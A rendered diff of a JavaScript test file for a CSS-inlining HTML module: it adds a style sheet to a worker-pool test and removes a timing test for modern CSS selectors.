timeout: 1,
|
|
30
31
|
useWorkerPool: true
|
package/test/mime-html.test.js
CHANGED
|
@@ -174,7 +174,8 @@ describe('mime-html', () => {
|
|
|
174
174
|
|
|
175
175
|
it('should use worker pool by default', async () => {
|
|
176
176
|
const input = {
|
|
177
|
-
|
|
177
|
+
// juice, and with it the pool, only runs when there is a style sheet to inline
|
|
178
|
+
html: '<style>p { color: red; }</style><p>Pool test</p>'
|
|
178
179
|
};
|
|
179
180
|
|
|
180
181
|
const promises = [];
|
|
@@ -202,32 +203,6 @@ describe('mime-html', () => {
|
|
|
202
203
|
assert.ok(result.includes('No pool test'));
|
|
203
204
|
});
|
|
204
205
|
|
|
205
|
-
it('should handle problematic CSS with pre-filtering', async () => {
|
|
206
|
-
const input = {
|
|
207
|
-
html: `
|
|
208
|
-
<html>
|
|
209
|
-
<head>
|
|
210
|
-
<style>
|
|
211
|
-
.test:is(.a, .b) { color: red; }
|
|
212
|
-
.item:where(.x) { color: blue; }
|
|
213
|
-
.parent:has(.child) { border: 1px solid; }
|
|
214
|
-
</style>
|
|
215
|
-
</head>
|
|
216
|
-
<body>
|
|
217
|
-
<p class="test a">Async test</p>
|
|
218
|
-
</body>
|
|
219
|
-
</html>
|
|
220
|
-
`
|
|
221
|
-
};
|
|
222
|
-
|
|
223
|
-
const start = Date.now();
|
|
224
|
-
const result = await mimeHtml.async(input, { timeout: 2000 });
|
|
225
|
-
const elapsed = Date.now() - start;
|
|
226
|
-
|
|
227
|
-
assert.ok(result.includes('Async test'));
|
|
228
|
-
assert.ok(elapsed < 1000, 'Should complete quickly with pre-filtering');
|
|
229
|
-
});
|
|
230
|
-
|
|
231
206
|
it('should handle errors with fallback', async () => {
|
|
232
207
|
const input = {
|
|
233
208
|
html: '<p>Error test</p>'
|